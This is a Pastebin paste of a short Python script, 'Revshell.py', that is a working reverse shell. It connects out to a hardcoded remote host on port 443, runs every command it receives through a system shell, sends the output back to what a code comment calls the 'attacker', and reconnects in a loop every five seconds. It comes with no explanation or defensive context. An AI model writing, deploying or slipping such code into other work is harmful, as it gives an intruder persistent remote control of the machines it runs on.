int0x76

Revshell.py

Jan 3rd, 2013
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.98 KB | None | 0 0
  1. import socket
  2. import subprocess
  3. import sys
  4. import time
  5.  
  6. HOST = '10.0.0.12'    # The remote host
  7. PORT = 443           # The same port as used by the server
  8.  
  9.  
  10.  
  11. def connect((host, port)):
  12.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13.     s.connect((host, port))
  14.     return s
  15.  
  16. def wait_for_command(s):
  17.     data = s.recv(1024)
  18.     if data == "quit\n":
  19.         s.close()
  20.         sys.exit(0)
  21.     # the socket died
  22.     elif len(data)==0:
  23.         return True
  24.     else:
  25.         # do shell command
  26.         proc = subprocess.Popen(data, shell=True,
  27.             stdout=subprocess.PIPE, stderr=subprocess.PIPE,
  28.             stdin=subprocess.PIPE)
  29.         # read output
  30.         stdout_value = proc.stdout.read() + proc.stderr.read()
  31.         # send output to attacker
  32.         s.send(stdout_value)
  33.         return False
  34.  
  35. def main():
  36.     while True:
  37.         socked_died=False
  38.         try:
  39.             s=connect((HOST,PORT))
  40.             while not socked_died:
  41.                 socked_died=wait_for_command(s)
  42.             s.close()
  43.         except socket.error:
  44.             pass
  45.         time.sleep(5)
  46.  
  47. if __name__ == "__main__":
  48.     sys.exit(main())
Advertisement
Add Comment
Please, Sign In to add comment